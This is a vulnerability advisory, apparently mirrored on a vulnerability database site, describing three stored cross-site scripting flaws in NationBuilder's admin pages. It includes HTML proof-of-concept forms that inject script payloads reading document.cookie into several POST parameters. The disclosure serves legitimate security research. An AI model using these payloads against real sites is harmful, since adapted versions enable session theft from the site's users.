Lucene search
K

NationBuilder Multiple Stored XSS Vulnerabilities

🗓️ 23 Apr 2016 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 57 Views

NationBuilder multiple stored XSS vulnerabilities. Unsanitised input allows execution of arbitrary code in user's browser session. Affects NationBuilder community organizing system

Code
<!--


NationBuilder Multiple Stored XSS Vulnerabilities


Vendor: NATIONBUILDER WHQ
Product web page: http://www.nationbuilder.com
Affected version: unknown
Platform: Ruby

Summary: NationBuilder is a unique nonpartisan community
organizing system that brings together a comprehensive
suite of tools that today's leaders and creators need to
gather their tribes. Deeply social.

Desc: The application suffers from multiple stored XSS
vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.2.22 (Ubuntu)
           Phusion Passenger 4.0.48


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5318
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5318.php

Ruby client for NationBuilder API:
https://github.com/nationbuilder/nationbuilder-rb


11.04.2016

--><html><body><p>#1 Stored XSS in 'signup[note]' POST parameter
----------------------------------------------
#
#  PoC:
#


  </p>
<form action="https://domain.local/admin/signups/2/background?screen=signup-header" method="POST">
<input name="utf8" type="hidden" value="%E2%9C%93"/>
<input name="authenticity_token" type="hidden" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8="/>
<input name="signup[note]" type="hidden" value="&lt;script&gt;alert(onfirm(document.cookie)&lt;/script&gt;"/>
<input name="commit" type="hidden" value="Save background"/>
<input type="submit" value="Submit request"/>
</form>
  




#2 Stored XSS in 'page_tag[name]' POST parameter
------------------------------------------------
#
#  PoC:
#


  
    <form action="https://domain.local/admin/sites/1/tags" method="POST">
<input name="utf8" type="hidden" value="%E2%9C%93"/>
<input name="authenticity_token" type="hidden" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8="/>
<input name="page_tag[name]" type="hidden" value="&lt;script&gt;confirm(document.cookie)&lt;/script&gt;"/>
<input name="commit" type="hidden" value="Add tag"/>
<input type="submit" value="Submit request"/>
</form>
  




#3 Stored XSS in 'page[slug]' and 'page[headline]' POST parameters
------------------------------------------------------------------
#
#  PoC:
#


  
    <form action="https://domain.local/admin/sites/1/pages/12?screen=seo" method="POST">
<input name="utf8" type="hidden" value="✓"/>
<input name="_method" type="hidden" value="put"/>
<input name="authenticity_token" type="hidden" value="wAqOhULjnK8/H3ip+zE6yg3IHaGa6ggbjxOoN2tf30I="/>
<input name="page[title]" type="hidden" value="Volunteer - ZSL"/>
<input name="page[slug]" type="hidden" value="volunteer_script_confirm_document_cookie_script"/>
<input name="page[headline]" type="hidden" value="Volunteer&lt;script&gt;confirm(document.cookie)&lt;/script&gt;"/>
<input name="page[excerpt]" type="hidden" value="1"/>
<input name="commit" type="hidden" value="Save page"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2016 00:00Current
6.1Medium risk
Vulners AI Score6.1
57